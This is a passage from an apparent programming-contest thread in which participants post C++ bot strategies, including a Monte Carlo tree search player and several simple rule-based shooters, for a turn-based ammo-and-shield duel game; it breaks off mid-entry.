the given position. * Uses the UCB1 algorithm and returns infinity for moves not tried yet. */ double computeScore(const MonteTree &root, int move, bool me) { const Stat &stat = me ? root.myStats[move] : root.opponentStats[move]; return stat.attempts == 0 ? HUGE_VAL : double(stat.wins) / stat.attempts + sqrt(2 * log(root.totalPlays) / stat.attempts); } /** * Randomly simulates the given game. * Has me do random moves that are not stupid. * Has opponent do what it has done in similar positions or random moves if not * observed in those positions yet. * * Returns 1 for win. 0 for loss. -1 for draw. */ int simulate(Game game) { while (!atEnd(game)) { game = doRandomTurn(game); } if (game.alive > game.opponentAlive) { return 1; } else if (game.opponentAlive > game.alive) { return 0; } else //Draw { return -1; } } /** * Returns whether the game is over or not. */ bool atEnd(Game game) { return !game.alive || !game.opponentAlive || game.turn > MAX_TURNS; } /** * Simulates the given actions on the game. */ Game doTurn(Game game, int myAction, int enemyAction) { game.turn++; switch (myAction) { case Action::LOAD: game.ammo++; break; case Action::BULLET: if (game.ammo < 1) { game.alive = false; break; } game.ammo--; if (enemyAction == Action::LOAD || enemyAction == Action::THERMAL) { game.opponentAlive = false; } break; case Action::PLASMA: if (game.ammo < 2) { game.alive = false; break; } game.ammo -= 2; if (enemyAction != Action::PLASMA && enemyAction != Action::THERMAL) { game.opponentAlive = false; } break; } switch (enemyAction) { case Action::LOAD: game.opponentAmmo++; break; case Action::BULLET: if (game.opponentAmmo < 1) { game.opponentAlive = false; break; } game.opponentAmmo--; if (myAction == Action::LOAD || myAction == Action::THERMAL) { game.alive = false; } break; case Action::PLASMA: if (game.opponentAmmo < 2) { game.opponentAlive = false; } game.opponentAmmo -= 2; if (myAction != Action::PLASMA && myAction != Action::THERMAL) { game.alive = false; } break; } return game; } /** * Chooses a random move for me and my opponent and does it. */ Game doRandomTurn(Game &game) { //Select my random move. int myAction; int validMoves = 0; for (int i = 0; i < TOTAL_ACTIONS; i++) { //Don't do idiotic moves. //Select one at random. if (isValidMove(game, i, true)) { validMoves++; if (Random(validMoves) == 0) { myAction = i; } } } //Choose random opponent action. int opponentAction; //Whether the enemy has encountered this situation before bool enemyEncountered = false; validMoves = 0; //Weird algorithm that works and I don't want to explain. //What it does: //If the enemy has encountered this position before, //then it chooses a random action weighted by how often it did that action. //If they haven't, makes the enemy choose a random not idiot move. for (int i = 0; i < TOTAL_ACTIONS; i++) { int weight = opponentHistory[opponent][game.ammo][game.opponentAmmo][i]; if (weight > 0) { if (!enemyEncountered) { enemyEncountered = true; validMoves = 0; } validMoves += weight; if (Random(validMoves) < weight) { opponentAction = i; } } else if (!enemyEncountered && isValidMove(game, i, false)) { validMoves++; if (Random(validMoves) == 0) { opponentAction = i; } } } return doTurn(game, myAction, opponentAction); } /** * Returns whether the given move is valid/not idiotic for the game. */ bool isValidMove(Game game, int move, bool me) { switch (move) { case Action::LOAD: return true; case Action::BULLET: return me ? game.ammo > 0 : game.opponentAmmo > 0; case Action::PLASMA: return me ? game.ammo > 1 : game.opponentAmmo > 1; case Action::METAL: return me ? game.opponentAmmo > 0 : game.ammo > 0; case Action::THERMAL: return me ? game.opponentAmmo > 1 : game.ammo > 1; default: return false; } } /** * Propagates the score up the MonteTree from the leaf. */ void update(MonteTree *leaf, int score) { while (true) { MonteTree *parent = leaf->parent; if (parent) { //-1 = draw, 1 = win for me, 0 = win for opponent if (score != -1) { parent->myStats[leaf->myAction].wins += score; parent->opponentStats[leaf->opponentAction].wins += 1 - score; } parent->myStats[leaf->myAction].attempts++; parent->opponentStats[leaf->opponentAction].attempts++; parent->totalPlays++; leaf = parent; } else { break; } } } /** * There are three different strategies in here. * The first is not random, the second more, the third most. */ int bestMove(const MonteTree &root) { //Select the move with the highest win rate. int best; double bestScore = -1; for (int i = 0; i < TOTAL_ACTIONS; i++) { if (root.myStats[i].attempts == 0) { continue; } double score = double(root.myStats[i].wins) / root.myStats[i].attempts; if (score > bestScore) { bestScore = score; best = i; } } return best; ////Select a move weighted by the number of times it has won the game. //int totalScore = 0; //for (int i = 0; i < TOTAL_ACTIONS; i++) //{ // totalScore += root.myStats[i].wins; //} //int selection = Random(totalScore); //for (int i = 0; i < TOTAL_ACTIONS; i++) //{ // selection -= root.myStats[i].wins; // if (selection < 0) // { // return i; // } //} ////Select a random move weighted by win ratio. //double totalScore = 0; //for (int i = 0; i < TOTAL_ACTIONS; i++) //{ // if (root.myStats[i].attempts == 0) // { // continue; // } // totalScore += double(root.myStats[i].wins) / root.myStats[i].attempts; //} //double selection = Random(totalScore); //for (int i = 0; i < TOTAL_ACTIONS; i++) //{ // if (root.myStats[i].attempts == 0) // { // continue; // } // selection -= double(root.myStats[i].wins) / root.myStats[i].attempts; // if (selection < 0) // { // return i; // } //} } //My own random functions. int Random(int max) { return GetRandomInteger(max - 1); } double Random(double max) { static auto seed = std::chrono::system_clock::now().time_since_epoch().count(); static std::default_random_engine generator((unsigned)seed); std::uniform_real_distribution<double> distribution(0.0, max); return distribution(generator); } }; //We have to initialize this here for some reason. int MontePlayer::opponentHistory[MAX_PLAYERS][MAX_TURNS][MAX_TURNS][TOTAL_ACTIONS]{ { { { 0 } } } }; #endif // !__Monte_PLAYER_HPP__ ``` [Answer] I'm lacking the comment everywhere right, so I can't ask my questions yet. So this is a very basic player to win against the first bot. [Edit] Thanks, now the previous status isn't true anymore but I think it's better to keep it so we can understand the context of this bot. > > ## The `Opportunist` > > > The opportunist frequents the same gun club as the GunClubPlayers, however, he betted to a newcomer that he could beat every GunClubPlayers. So he exploit the habit he has long noticed and force himself not to shoot but wait just a little to win. ``` #ifndef __OPPORTUNIST_PLAYER_HPP__ #define __OPPORTUNIST_PLAYER_HPP__ #include <string> #include <vector> class OpportunistPlayer final: public Player { public: OpportunistPlayer(size_t opponent = -1) : Player(opponent) {} public: virtual Action fight() { switch (getTurn() % 3) { case 0: return load(); break; case 1: return metal(); break; case 2: return bullet(); break; } return plasma(); } }; #endif // !__OPPORTUNIST_PLAYER_HPP__ ``` [Answer] > > # The `BarricadePlayer` > > > The Barricade Player loads a bullet first round, then keeps an appropiate shield (still a bit random). He also loads another shot every 5th round. Every round, there is a 15% chance to ignore the algoritm (except for reload first turn) and shoot a bullet. When enemy has no ammo, it loads. If somehow everything goes wrong, oh boy, he just shoots. > > > Newest changes: Improved random numbers (thanks Frenzy Li). ``` // BarricadePlayer by devRicher // PPCG: http://codegolf.stackexchange.com/a/104909/11933 // BarricadePlayer.hpp // A very tactical player. #ifndef __BARRICADE_PLAYER_HPP__ #define __BARRICADE_PLAYER_HPP__ #include "Player.hpp" #include <cstdlib> #include <ctime> class BarricadePlayer final : public Player { public: BarricadePlayer(size_t opponent = -1) : Player(opponent) {} public: virtual Action fight() { srand(time(NULL)); if (getTurn() == 0) { return load(); } int r = GetRandomInteger(99) + 1; //Get a random if ((r <= 15) && (getAmmo() > 0)) { return bullet(); } //Override any action, and just shoot else { if (getTurn() % 5 == 0) //Every first and fifth turn return load(); if (getAmmoOpponent() == 1) return metal(); if (getAmmoOpponent() > 1) { return r <= 50 ? metal() : thermal(); } if (getAmmoOpponent() == 0) return load(); } return bullet(); } }; #endif // !__BARRICADE_PLAYER_HPP__ ``` [Answer] > > ## The `StudiousPlayer` > > > The Studious Player studies its prey, modeling each opponent it encounters. This player begins with a basic strategy, randomly driven in places, and progresses to simple adaptive strategies based on frequentist measures of opponent response. It uses a simple model of opponents based on how they react to ammo combinations. > > > ``` #ifndef __STUDIOUS_PLAYER_H__ #define __STUDIOUS_PLAYER_H__ #include "Player.hpp" #include <unordered_map> class StudiousPlayer final : public Player { public: using Player::GetRandomInteger; // Represents an opponent's action for a specific state. struct OpponentAction { OpponentAction(){} unsigned l=0; unsigned b=0; unsigned p=0; unsigned m=0; unsigned t=0; }; // StudiousPlayer models every opponent that it plays, // and factors said model into its decisions. // // There are 16 states, corresponding to // 4 inner states (0,1,2,3) and 4 outer states // (0,1,2,3). The inner states represent our // (SP's) ammo; the outer represents the // Opponent's ammo. For the inner or outer // states, 0-2 represent the exact ammo; and // 3 represents "3 or more". // // State n is (4*outer)+inner. // // State 0 itself is ignored, since we don't care // what action the opponent takes (we always load); // thus, it's not represented here. // // os stores states 1 through 15 (index 0 through 14). struct Opponent { std::vector<OpponentAction> os; Opponent() : os(15) {} }; StudiousPlayer(size_t opponent) : Player(opponent) , strat(storedLs()[opponent]) , ammoOpponent() { } Player::Action fight() { // Compute the current "ammo state". // For convenience here (aka, readability in switch), // this is a two digit octal number. The lso is the // inner state, and the mso the outer state. unsigned ss,os; switch (ammoOpponent) { default: os=030; break; case 2 : os=020; break; case 1 : os=010; break; case 0 : os=000; break; } switch (getAmmo()) { default: ss=003; break; case 2 : ss=002; break; case 1 : ss=001; break; case 0 : ss=000; break; } // Store the ammo state. This has a side effect // of causing actn() to return an OpponentAction // struct, with the opponent's history during this // state. osa = os+ss; // Get the opponent action pointer const OpponentAction* a=actn(osa); // If there's no such action structure, assume // we're just supposed to load. if (!a) return load(); // Apply ammo-state based strategies: switch (osa) { case 001: // If opponent's likely to load, shoot; else load if (a->l > a->m) return bullet(); return load(); case 002: case 003: // Shoot in the way most likely to kill (or randomly) if (a->t > a->m+a->l) return bullet(); if (a->m > a->t+a->l) return plasma(); if (GetRandomInteger(1)) return bullet(); return plasma(); case 010: // If opponent tends to load, load; else defend if (a->l > a->b) return load(); return metal(); case 011: // Shoot if opponent tends to load if (a->l > a->b+a->m) return bullet(); // Defend if opponent tends to shoot if (a->b > a->l+a->m) return metal(); // Load if opponent tends to defend if (a->m > a->b+a->l) return load(); // Otherwise randomly respond if (!GetRandomInteger(2)) return metal(); if (!GetRandomInteger(1)) return load(); return bullet(); case 012: case 013: // If opponent most often shoots, defend if (a->b > a->l+a->m+a->t) return metal(); // If opponent most often thermals, use bullet if (a->t > a->m) return bullet(); // If opponent most often metals, use plasma if (a->m > a->t) return plasma(); // Otherwise use a random weapon return (GetRandomInteger(1))?bullet():plasma(); case 020: // If opponent most often loads or defends, load if (a->l+a->m+a->t > a->b+a->p) return load(); // If opponent most often shoots bullets, raise metal if (a->b > a->p) return metal(); // If opponent most often shoots plasma, raise thermal if (a->p > a->b) return thermal(); // Otherwise raise random defense return (GetRandomInteger(1))?metal():thermal(); case 021: case 031: // If opponent loads more often than not, if (a->l > a->m+a->b+a->p) { // Tend to shoot (67%), but possibly load (33%) return (GetRandomInteger(2))?bullet():load(); } // If opponent metals more often than loads or shoots, load if (a->m > a->l+a->b+a->p) return load(); // If opponent thermals (shrug) more often than loads or shoots, load if (a->t > a->l+a->b+a->p) return load(); // If opponent tends to shoot bullets, raise metal if (a->b > a->p) return metal(); // If opponent tends to shoot plasma, raise thermal if (a->p > a->b) return thermal(); // Raise random shield return (GetRandomInteger(2))?metal():thermal(); case 022: // If opponent loads or thermals more often than not, shoot bullet if (a->l+a->t > a->b+a->p+a->m) return bullet(); // If opponent loads or metals more often than not, shoot plasma if (a->l+a->m > a->b+a->p+a->t) return plasma(); // If opponent shoots more than loads or defends, defend if (a->b+a->p > a->l+a->m+a->t) { if (a->b > a->p) return metal(); if (a->p > a->b) return thermal(); return (GetRandomInteger(1))?metal():thermal(); } // If opponent defends more than opponent shoots, load if (a->m+a->t > a->b+a->p) return load(); // Use random substrategy; // load(33%) if (GetRandomInteger(2)) return load(); // defend(33%) if (GetRandomInteger(1)) { if (a->b > a->p) return metal(); if (a->b > a->b) return thermal(); return (GetRandomInteger(1))?metal():thermal(); } // Shoot in a way that most often kills (or randomly) if (a->m > a->t) return plasma(); if (a->t > a->m) return bullet(); return (GetRandomInteger(1))?bullet():plasma(); case 023: // If opponent loads or raises thermal more often than not, shoot bullets if (a->l+a->t > a->b+a->p+a->m) return bullet(); // If opponent loads or raises metal more often than not, shoot plasma if (a->l+a->m > a->b+a->p+a->t) return plasma(); // If opponent shoots more than loads or defends, defend if (a->b+a->p > a->l+a->m+a->t) { if (a->b > a->p) return metal(); if (a->p > a->b) return thermal(); return (GetRandomInteger(1))?metal():thermal(); } // If opponent defends more than shoots, shoot if (a->m+a->t > a->b+a->p) { if (a->m > a->t) return plasma(); if (a->t > a->m) return bullet(); return GetRandomInteger(1)?bullet():plasma(); } // 50% defend if (GetRandomInteger(1)) { if (a->b > a->p) return metal(); return thermal(); } // 50% shoot if (a->m > a->t) return plasma(); if (a->t > a->m) return bullet(); return (GetRandomInteger(1))?bullet():plasma(); case 030: // If opponent loads or shields more often than not, load if (a->l+a->m+a->t > a->b+a->p) return load(); // If opponent tends to shoot, defend if (a->b+a->p >= a->l+a->m+a->t) { if (a->b > a->p) return metal(); if (a->p > a->b) return thermal(); return (GetRandomInteger(1))?metal():thermal(); } // Otherwise, randomly shield (50%) or load if (GetRandomInteger(1)) { return (GetRandomInteger(1))?metal():thermal(); } return load(); case 032: // If opponent loads or thermals more often than not, shoot bullets if (a->l+a->t > a->b+a->p+a->m) return bullet(); // If opponent loads or metals more often than not, shoot plasma if (a->l+a->m > a->b+a->p+a->t) return plasma(); // If opponent shoots more often than loads or shields, defend if (a->b+a->p > a->l+a->m+a->t) { if (a->b > a->p) return metal(); if (a->p > a->b) return thermal(); return (GetRandomInteger(1))?metal():thermal(); } // If opponent shields more often than shoots, load if (a->m+a->t > a->b+a->p) return load(); // Otherwise use random strategy if (GetRandomInteger(2)) return load(); if (GetRandomInteger(1)) { if (a->b > a->p) return metal(); return thermal(); } if (a->m > a->t) return plasma(); if (a->t > a->m) return bullet(); return (GetRandomInteger(1))?bullet():plasma(); case 033: { // At full 3 on 3, apply random strategy // weighted by opponent's histogram of this state... // (the extra 1 weights towards plasma) unsigned sr= GetRandomInteger (a->l+a->t+a->p+a->b+a->m+1); // Shoot bullets proportional to how much // opponent loads or defends using thermal if (sr < a->l+a->t) return bullet(); sr-=(a->l+a->t); // Defend with thermal proportional to how // much opponent attacks with plasma (tending to // waste his ammo) if (sr < a->p) return thermal(); // Shoot plasma proportional to how // much opponent shoots bullets or raises metal return plasma(); } } // Should never hit this; but rather than ruin everyone's fun, // if we do, we just load return load(); } // Complete override; we use our opponent's model, not history. void perceive(Player::Action action) { // We want the ammo but not the history; since // the framework (Player::perceive) is "all or nothing", // StudiousPlayer just tracks the ammo itself switch (action) { default: break; case Player::LOAD: ++ammoOpponent; break; case Player::BULLET: --ammoOpponent; break; case Player::PLASMA: ammoOpponent-=2; break; } // Now we get the opponent's action based // on the last (incoming) ammo state OpponentAction* a = actn(osa); // ...if it's null just bail if (!a) return; // Otherwise, count the action switch (action) { case Player::LOAD : ++a->l; break; case Player::BULLET : ++a->b; break; case Player::PLASMA : ++a->p; break; case Player::METAL : ++a->m; break; case Player::THERMAL : ++a->t; break; } } private: Opponent& strat; OpponentAction* actn(unsigned octalOsa) { unsigned ndx = (octalOsa%4)+4*(octalOsa/8); if (ndx==0) return 0; --ndx; if (ndx<15) return &strat.os[ndx]; return 0; } unsigned osa; unsigned ammoOpponent; // Welcome, non-C++ persons, to the "Meyers style singleton". // "theMap" is initialized (constructed; initially empty) // the first time the declaration is executed. static std::unordered_map<size_t, Opponent>& storedLs() { static std::unordered_map<size_t, Opponent> theMap; return theMap; } }; #endif ``` Note that this tracks information about opponents according to the rules of the challenge; see the "Meyers style singleton" scoped "storedLs()" method at the bottom. (Some people were wondering how to do this; now you know!) [Answer] > > ## The `GunClubPlayer` > > > Cut out from the original question. This serves as an example of a minimalistic implementation of a derived player. This player will participate in the tournament. > > > The `GunClubPlayer`s like to go to the gun club. During each duel, they would first load ammo, then fire a bullet, and repeat this process until the end of the world duel. They doen't actually care whether they win or not, and focus exclusively on having an enjoyable experience themselves. ``` // GunClubPlayer.hpp // A gun club enthusiast. Minimalistic example of derived class #ifndef __GUN_CLUB_PLAYER_HPP__ #define __GUN_CLUB_PLAYER_HPP__ #include "Player.hpp" class GunClubPlayer final: public Player { public: GunClubPlayer(size_t opponent = -1) : Player(opponent) {} public: virtual Action fight() { return getTurn() % 2 ? bullet() : load(); } }; #endif // !__GUN_CLUB_PLAYER_HPP__ ``` [Answer] > > ## The `PlasmaPlayer` > > > The Plasma Player like firing his plasma bolts. He will try to load and fire as much as possible. However, while the opponent has plasma ammo, he will use his thermal shield (bullets are for the weak). > > > ``` #ifndef __PLASMA_PLAYER_HPP__ #define __PLASMA_PLAYER_HPP__ #include "Player.hpp" class PlasmaPlayer final : public Player { public: PlasmaPlayer(size_t opponent = -1) : Player(opponent) {} virtual Action fight() { // Imma Firin Mah Lazer! if (getAmmo() > 1) return plasma(); // Imma Block Yur Lazer! if (getAmmoOpponent() > 1) return thermal(); // Imma need more Lazer ammo return load(); } }; #endif // !__PLASMA_PLAYER_HPP__ ``` [Answer] > > ## The very `SadisticShooter` > > > He would rather watch you suffer than kill you. He's not stupid and will cover himself as required. > > > If you're utterly boring and predictable, he will just kill you straight off. > > > ``` // SadisticShooter by muddyfish // PPCG: http://codegolf.stackexchange.com/a/104947/11933 // SadisticShooter.hpp // A very sad person. He likes to shoot people. #ifndef __SAD_SHOOTER_PLAYER_HPP__ #define __SAD_SHOOTER_PLAYER_HPP__ #include <cstdlib> #include "Player.hpp" // #include <iostream> class SadisticShooter final : public Player { public: SadisticShooter(size_t opponent = -1) : Player(opponent) {} private: bool historySame(std::vector<Action> const &history, int elements) { if (history.size() < elements) return false; std::vector<Action> lastElements(history.end() - elements, history.end()); for (Action const &action : lastElements) if (action != lastElements[0]) return false; return true; } public: virtual Action fight() { int my_ammo = getAmmo(); int opponent_ammo = getAmmoOpponent(); int turn_number = getTurn(); //std::cout << " :: Turn " << turn_number << " ammo: " << my_ammo << " oppo: " << opponent_ammo << std::endl; if (turn_number == 90) { // Getting impatient return load(); } if (my_ammo == 0 && opponent_ammo == 0) { // It would be idiotic not to load here return load(); } if (my_ammo >= 2 && historySame(getHistoryOpponent(), 3)) { if (getHistoryOpponent()[turn_number - 1] == THERMAL) return bullet(); if (getHistoryOpponent()[turn_number - 1] == METAL) return thermal(); } if (my_ammo < 2 && opponent_ammo == 1) { // I'd rather not die thank you very much return metal(); } if (my_ammo == 1) { if (opponent_ammo == 0) { // You think I would just shoot you? return load(); } if (turn_number == 2) { return thermal(); } return bullet(); } if (opponent_ammo >= 2) { // Your plasma weapon doesn't scare me return thermal(); } if (my_ammo >= 2) { // 85% more bullet per bullet if (turn_number == 4) return bullet(); return plasma(); } // Just load the gun already return load(); } }; #endif // !__SAD_SHOOTER_PLAYER_HPP__ ``` [Answer] > > # The `TurtlePlayer` > > > `TurtlePlayer` is a coward. He spends most of the time hiding behind his shields - hence the name. Sometimes, he may come out of his shell (no pun intended) and have a shot, but he normally he lies low whilst the enemy has ammo. > > > --- This bot is not particularly great - however, every KOTH needs some initial entries to get it running :) Local testing found that this wins against both `GunClubPlayer` and `Opportunist` 100% of the time. A battle against `BotRobotPlayer` seemed to always result in a draw as both hide behind their shields. ``` #include "Player.hpp" // For randomness: #include <ctime> #include <cstdlib> class TurtlePlayer final : public Player { public: TurtlePlayer(size_t opponent = -1) : Player(opponent) { srand(time(0)); } public: virtual Action fight() { if (getAmmoOpponent() > 0) { // Beware! Opponent has ammo! if (rand() % 5 == 0 && getAmmo() > 0) // YOLO it: return getAmmo() > 1 ? plasma() : bullet(); // Play it safe: if (getAmmoOpponent() == 1) return metal(); return rand() % 2 ? metal() : thermal(); } if (getAmmo() == 0) // Nobody has ammo: Time to load up. return load(); else if (getAmmo() > 1) // We have enough ammo for a plasma: fire it! return plasma(); else // Either load, or take a shot. return rand() % 2 ? load() : bullet(); } }; ``` [Answer] > > ## The `DeceptivePlayer` > > > The Deceptive Player tries to load two bullets and then fires one. > > > ``` // DeceiverPlayer.hpp // If we have two shoots, better shoot one by one #ifndef __DECEPTIVE_PLAYER_HPP__ #define __DECEPTIVE_PLAYER_HPP__ #include "Player.hpp" class DeceptivePlayer final: public Player { public: DeceptivePlayer(size_t opponent = -1) : Player(opponent) {} public: virtual Action fight() { int ammo = getAmmo(); int opponentAmmo = getAmmoOpponent(); int turn = getTurn(); // Without ammo, always load if (ammo == 0) { return load(); } // Every 10 turns the Deceiver goes crazy if (turn % 10 || opponentAmmo >= 3) { // Generate random integer in [0, 5) int random = GetRandomInteger() % 5; switch (random) { case 0: return bullet(); case 1: return metal(); case 2: if (ammo == 1) { return bullet(); } return plasma(); case 3: return thermal(); case 4: return load(); } } // The Deceiver shoots one bullet if (ammo == 2) { return bullet(); } // Protect until we can get bullet 2 if (opponentAmmo == 0) { return load(); } if (opponentAmmo == 1) { return metal(); } if (opponentAmmo == 2) { return thermal(); } } }; #endif // !__DECEPTIVE_PLAYER_HPP__ ``` I do not code in c++ so any improvements to the code will be welcome. [Answer] # HanSoloPlayer Shoots first! Still working on revising it, but this is pretty good. ``` // HanSoloPlayer.hpp // A reluctant rebel. Always shoots first. // Revision 1: [13HanSoloPlayer][17] | 6 rounds | 2863 #ifndef __HAN_SOLO_PLAYER_HPP__ #define __HAN_SOLO_PLAYER_HPP__ #include "Player.hpp" class HanSoloPlayer final: public Player { public: HanSoloPlayer(size_t opponent = -1) : Player(opponent) {} public: virtual Action fight() { if(getTurn() == 0){ // let's do some initial work agenda.push_back(bullet()); // action 2--han shot first! agenda.push_back(load()); // action 1--load a shot } else if(getTurn() == 2){ randomDefensive(); } else if(getRandomBool(2)){ // go on the defensive about 1/3rd of the time randomDefensive(); } else if(getRandomBool(5)){ // all-out attack! if(getAmmo() == 0){ // do nothing, let the agenda work its course } else if(getAmmo() == 1){ // not quite all-out... :/ agenda.push_back(load()); // overnext agenda.push_back(bullet()); // next } else if(getAmmo() == 2){ agenda.push_back(load()); // overnext agenda.push_back(plasma()); // next } else { int ammoCopy = getAmmo(); while(ammoCopy >= 2){ agenda.push_back(plasma()); ammoCopy -= 2; } } } // execute the next item on the agenda if(agenda.size() > 0){ Action nextAction = agenda.back(); agenda.pop_back(); return nextAction; } else { agenda.push_back(getRandomBool() ? thermal() : bullet()); // overnext agenda.push_back(load()); // next return load(); } } private: std::vector<Action> agenda; bool getRandomBool(int weight = 1){ return GetRandomInteger(weight) == 0; } void randomDefensive(){ switch(getAmmoOpponent()){ case 0: // they most likely loaded and fired. load, then metal shield agenda.push_back(metal()); // action 4 agenda.push_back(load()); // action 3 break; case 1: agenda.push_back(metal()); break; case 2: agenda.push_back(getRandomBool() ? thermal() : metal()); break; default: agenda.push_back(getRandomBool(2) ? metal() : thermal()); break; } return; } }; #endif // !__HAN_SOLO_PLAYER_HPP__ ``` [Answer] > > ## The `CamtoPlayer` > > > CamtoPlayer **HATES** draws and will break out of loops no matter what it takes. (except for suicide) > > > It's my first C++ program that does anything, so don't judge it too hard. > > > I know it could be better but please don't edit it. > > If you want to modify the code just comment a suggestion. > > > ``` #ifndef __CAMTO_HPP__ #define __CAMTO_HPP__ #include "Player.hpp" #include <iostream> class CamtoPlayer final : public Player { public: CamtoPlayer(size_t opponent = -1) : Player(opponent) {} int S = 1; // Switch between options. (like a randomness function without any randomness) bool ltb = false; // L.ast T.urn B.locked bool loop = false; // If there a loop going on. int histarray[10]={0,0,0,0,0,0,0,0,0,0}; // The last ten turns. int appears(int number) { // How many times a number appears(); in histarray, used for checking for infinite loops. int things = 0; // The amount of times the number appears(); is stored in things. for(int count = 0; count < 10; count++) { // For(every item in histarray) {if its the correct number increment thing}. if(histarray[count]==number) {things++;} } return things; // Return the result } virtual Action fight() { int ammo = getAmmo(); // Ammo count. int bad_ammo = getAmmoOpponent(); // Enemy ammo count. int turn = getTurn(); // Turn count. int pick = 0; // This turn's weapon. if(appears(2)>=4){loop=true;} // Simple loop detection if(appears(3)>=4){loop=true;} // by checking if if(appears(4)>=4){loop=true;} // any weapong is picked a lot if(appears(5)>=4){loop=true;} // except for load(); if(ammo==0&&bad_ammo==1){pick=4;} // Block when he can shoot me. if(ammo==0&&bad_ammo>=2){S++;S%2?(pick=4):(pick=5);} // Block against whatever might come! if(ammo==0&&bad_ammo>=1&&ltb){pick=1;} // If L.ast T.urn B.locked, then reload instead. if(ammo==1&&bad_ammo==0){pick=2;} // Shoot when the opponent can't shoot. if(ammo==1&&bad_ammo==1){S++;S%2?(pick=2):(pick=4);} // No risk here. if(ammo==1&&bad_ammo>=2){S++;S%2?(pick=4):(pick=5);} // Block! if(ammo==1&&bad_ammo>=1&&ltb){pick=2;} // If ltb shoot instead. if(ammo>=2){S++;S%2?(pick=2):(pick=3);} // Shoot something! /* debugging std :: cout << "Turn data: turn: "; std :: cout << turn; std :: cout << " loop: "; std :: cout << loop; std :: cout << " "; std :: cout << "ltb: "; std :: cout << ltb; std :: cout << " "; */ // Attempt to break out of the loop. (hoping there is one) if(ammo==0&&loop){pick=1;} // After many turns of waiting, just load(); if(ammo==1&&bad_ammo==0&&loop){loop=false;pick=1;} // Get out of the loop by loading instead of shooting. if(ammo==1&&bad_ammo==1&&loop){loop=false;pick=4;} // Get out of the loop (hopefully) by blocking. if(ammo>=2&&loop){loop=false;S++;S%2?(pick=2):(pick=3);} // Just shoot. if(turn==3&&(appears(1)==2)&&(appears(2)==1)){pick=4;} // If it's just load();, shoot();, load(); then metal(); because it might be a loop. // End of loop breaking. if(turn==1){pick=2;} // Shoot right after reloading! if(ammo==0&&bad_ammo==0){pick=1;} // Always load when no one can shoot. for(int count = 0; count < 10; count++) { histarray[count]=histarray[count+1]; // Shift all values in histarray[] by 1. } histarray[9] = pick; // Add the picked weapon to end of histarray[]. /* more debugging std :: cout << "history: "; std :: cout << histarray[0]; std :: cout << histarray[1]; std :: cout << histarray[2]; std :: cout << histarray[3]; std :: cout << histarray[4]; std :: cout << histarray[5]; std :: cout << histarray[6]; std :: cout << histarray[7]; std :: cout << histarray[8]; std :: cout << histarray[9]; std :: cout << " pick, ammo, bammo: "; std :: cout << pick; std :: cout << " "; std :: cout << ammo; std :: cout << " "; std :: cout << bad_ammo; std :: cout << "\n"; */ switch(pick) { case 1: ltb = false; return load(); case 2: ltb = false; return bullet(); case 3: ltb = false; return plasma(); case 4: ltb = true;return metal(); case 5: ltb = true;return thermal(); } } }; #endif // !__CAMTO_HPP__ ``` [Answer] > > # The `SurvivorPlayer` > > > The Survivor Player behaves in a similar vein as the Turtle and Barricade Player. He will never take an action that could lead to his death and would rather enforce a draw than to lose the fight. > > > ``` // SurvivorPlayer.hpp // Live to fight another day #ifndef __SURVIVOR_PLAYER_HPP__ #define __SURVIVOR_PLAYER_HPP__ #include "Player.hpp" class SurvivorPlayer final : public Player { public: SurvivorPlayer(size_t opponent = -1) : Player(opponent) { } public: virtual Action fight() { int myAmmo = getAmmo(); int opponentAmmo = getAmmoOpponent(); int turn = getTurn(); if (turn == 0) { return load(); } switch (opponentAmmo) { case 0: if (myAmmo > 2) { return GetRandomInteger(1) % 2 ? bullet() : plasma(); } return load(); case 1: if (myAmmo > 2) { return plasma(); } return metal(); default: if (myAmmo > 2) { return plasma(); } return GetRandomInteger(1) % 2 ? metal() : thermal(); } } }; #endif // !__SURVIVOR_PLAYER_HPP__ ``` [Answer] > > ## The `FatedPlayer` > > > [Made by Clotho, scored by Lachesis, and killed by Atropos](https://en.wikipedia.org/wiki/Moirai#The_three_Moirai); this player's only strategy is to use what it knows about ammo to determine which actions are reasonable. > > > However, it does not get to *choose* the action; that part is left to the gods. > > > ``` #ifndef __FATEDPLAYER_H__ #define __FATEDPLAYER_H__ #include "Player.hpp" #include <functional> class FatedPlayer final : public Player { public: FatedPlayer(size_t o) : Player(o){} Action fight() { std::vector<std::function<Action()>>c{[&]{return load();}}; switch(getAmmo()){ default:c.push_back([&]{return plasma();}); case 1 :c.push_back([&]{return bullet();}); case 0 :;} switch(getAmmoOpponent()){ default:c.push_back([&]{return thermal();}); case 1 :c.push_back([&]{return metal();}); case 0 :;} return c[GetRandomInteger(c.size()-1)](); } }; #endif ``` ...because I'd like to see how a random player ranks. [Answer] # SpecificPlayer **SpecificPlayer** follows a simple plan of choosing some random (valid) actions. However it's main feature is that it looks out for certain situations by analysing ammo counts and the opponent's previous move. This is my first time writing anything in C++, and first time trying to do any sort of competitive bot writing. So I hope my meagre attempt at least does something interesting. :) ``` // SpecificPlayer by Charles Jackson (Dysnomian) -- 21/01/2017 // PPCG: http://codegolf.stackexchange.com/a/104933/11933 #ifndef __SPECIFIC_PLAYER_HPP__ #define __SPECIFIC_PLAYER_HPP__ #include "Player.hpp" class SpecificPlayer final : public Player { public: SpecificPlayer(size_t opponent = -1) : Player(opponent) {} //override virtual Action fight() { returnval = load(); //this should always be overwritten // if both players have no ammo we of course load if (oa == 0 && ma == 0) { returnval = load(); } // if (opponent has increased their ammo to a point they can fire something) then shield from it else if (oa == 1 && op == LOAD) { returnval = metal(); } else if (oa == 2 && op == LOAD) { returnval = thermal(); } else if (op == LOAD) { returnval = randomBlock(oa); } // if we have a master plan to follow through on do so, unless a defensive measure above is deemed necessary else if (nextDefined) { returnval = next; nextDefined = false; } // if opponent didn't fire their first shot on the second turn (turn 1) then we should block else if (t == 2 && oa >= 1) { returnval = randomBlock(oa); } //if opponent may be doing two attacks in a row else if (oa == 1 && op == BULLET) { returnval = metal(); } else if (oa == 2 && op == PLASMA) { returnval = thermal(); } // if we had no ammo last turn and still don't, load else if (ma == 0 && pa == 0) { returnval = load(); } // if we have just collected enough ammo to plasma, wait a turn before firing else if (ma == 2 && pa == 1) { returnval = randomBlock(oa); next = plasma(); nextDefined = true; } // time for some random actions else { int caseval = GetRandomInteger(4) % 3; //loading is less likely than attacking or blocking switch (caseval) { case 0: returnval = randomBlock(oa); break; // 40% case 1: returnval = randomAttack(ma); break; // 40% case 2: returnval = load(); break; // 20% } } pa = ma; //update previous ammo then update our current ammo switch (returnval) { case LOAD: ma += 1; break; case BULLET: ma -= 1; break; case PLASMA: ma -= 2; break; } t++; //also increment turn counter return returnval; } //override void perceive(Action action) { //record what action opponent took and update their ammo op = action; switch (action) { 